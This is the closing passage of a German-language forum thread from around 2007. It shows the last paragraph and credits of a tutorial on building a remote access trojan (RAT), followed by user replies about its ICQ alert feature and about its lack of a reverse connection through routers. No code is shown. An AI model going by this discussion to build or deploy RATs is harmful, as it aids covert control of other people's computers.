Aber ansonsten kann man mit diesem RAT-Programm schon eine Menge machen, und
ihn evt. als
Plattform nutzen um andere RAT's zu uploaden. Trotzdem könnte er auch, mit
den folgenden Er-
weiterungen, sehr gut als Eigenständiger RAT Funktionieren.
Also zum Abschluss hoffe ich, dass man das was ich hier vermitteln wollte
zumindest in
Teilen nutzen kann, und auch weiterentwickelt. Sicherlich kann man einiges
von mir dar-
gestelltes anders evt. auch besser machen, aber es soll ja auch erstmal nur
als Grundlage
dienen.
#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#
$ $
# Geschrieben von: MadMat | madmat@login-club.org #
$ $
# Mitwirkender und Ideengeber: VeNoM #
$ Dieses Tutorial darf kopiert, aber nicht verändert werden $
# #
$ $
# http://www.login-club.org | irc.euric.net 6667 #loginclub #
$ $
# __ _ ________ __ #
$ / / ___ ___ (_)___ / ____/ /_ __/ /_ $
# / / / __ \/ __ \/ / __ \/ / / / / / / __ \ #
$ / /__/ /_/ / /_/ / / / / / /___/ / /_/ / /_/ / $
# /____/\____/\__ /_/_/ /_/\____/_/\____/_____/ #
$ / /_/ / $
# \____/ #
$ $
#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#
_________________
King of Chaos_
Coder
Anmeldedatum: 26.09.2007
Beiträge: 235
Verfasst am: 04.12.2007, 18:54
wurde das ned schonmal gepostet?
glg ^^
P.S kann mich auch irren ^^
Eldra_
Newbie
Anmeldedatum: 22.11.2007
Beiträge: 13
Verfasst am: 04.12.2007, 19:03
wie gesagt. wenns schonma da war könnt ihrs löschen...
Ich habs jetzt halt noch net gefunden...
zyberus_
Newbie
Anmeldedatum: 09.12.2007
Beiträge: 5
Verfasst am: 10.12.2007, 17:15
also das mit der ICQ Mitteilung is ja interessant^^... kann man auch für andere zwecke benutzen
ansonsten.. coole sache.. diese Version eines RAT habe ich noch nicht gesehen 
toilette_
Coder
Anmeldedatum: 20.10.2007
Beiträge: 86
Verfasst am: 10.12.2007, 17:31
nur das mit dem icq messagen funzt bei mir nicht -.-
kackb00n_
Tutorial Leser
Anmeldedatum: 07.12.2007
Beiträge: 42
Verfasst am: 18.12.2007, 15:32
die haben das protocoll geändert.
Das tut ist mehr als 1 jahr alt...
ICQ pager funzt nimmer 
Fuka_
Coder
Anmeldedatum: 15.11.2007
Beiträge: 96
Verfasst am: 29.02.2008, 12:59
Mal eine Frage:
Würde der server beim jedem funzen, oder nur wenn der jenige keinen router hat? oO
_code__
Poster
Anmeldedatum: 18.03.2007
Beiträge: 154
Wohnort: C:\Wohnort.dat
Verfasst am: 29.02.2008, 13:05
warum sollte es dann nicht gehen?
_________________
Fuka_
Coder
Anmeldedatum: 15.11.2007
Beiträge: 96
Verfasst am: 29.02.2008, 13:17
Ja deshalb frage ich ja^^
Also geht es auch wenn man die ports nicht am router frei hat?^^
ZiG_
Überflieger
Anmeldedatum: 07.03.2007
Beiträge: 1248
Verfasst am: 29.02.2008, 13:18
Hab ihn mal schnell überflogen und wenn ich mich nicht täusche, wird da keine Reverse Connection erklärt.
Geht also nicht bei Routern.
_________________
Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
Fuka_
Coder
Anmeldedatum: 15.11.2007
Beiträge: 96
Verfasst am: 29.02.2008, 13:20
Deshalb frag ich ja
ZiG_
Überflieger
Anmeldedatum: 07.03.2007
Beiträge: 1248
Verfasst am: 29.02.2008, 13:23
Ja toll. Und warum glaubst du gebe ich dir direkt darauf eine Antwort?
_________________
Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
Fuka_
Coder
Anmeldedatum: 15.11.2007
Beiträge: 96
Verfasst am: 29.02.2008, 13:27
Damit ich mir sicher bin 
Ende der Diskussion! xD
_________________
Verwandte Themen
Aufrufe
Letzter Beitrag
Wichtig: [Video] Funktionen
2420
31.07.2010, 15:32
Wichtig: [Video] Lesson 5 - Arbeiten mit Dateien
2717
06.07.2009, 09:41
Wichtig: [Video] Lesson 2 - If then Else, For Schleife
2275
14.02.2008, 07:21
[Video] *.dll & *.ocx Installer
1939
06.03.2008, 21:19
[Video] Objektkatalog / Visual Component Manager
1000
17.12.2007, 17:27
